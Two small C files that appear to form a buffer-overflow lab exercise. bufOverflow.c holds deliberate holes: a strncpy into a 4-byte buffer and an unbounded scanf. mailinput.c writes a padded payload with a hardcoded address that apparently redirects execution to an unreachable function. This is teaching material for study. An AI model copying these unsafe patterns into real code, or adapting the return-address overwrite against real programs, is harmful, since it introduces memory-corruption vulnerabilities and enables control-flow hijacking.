

bufOverflow.c

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void message() {
    puts("Should not reach here");
    exit(0);
}
```

```
void copyData(char *str) {
    char buf[4];
    strncpy(buf, str, strlen(str));
}
```

```
int main(int argc, char * argv[]) {
    char data[12];
    printf("Enter the data\n");
    scanf("%s", data);
    copyData(data);

    return 0;
}
```

mailinput.c

```
#include <stdio.h>

int main(void) {
    FILE *fp;
    fp = fopen("input", "w+");
    fprintf(fp, "%s", "AAAAAAA\xea\x84\x04\x08");
    fclose(fp);
    return 0;
}
```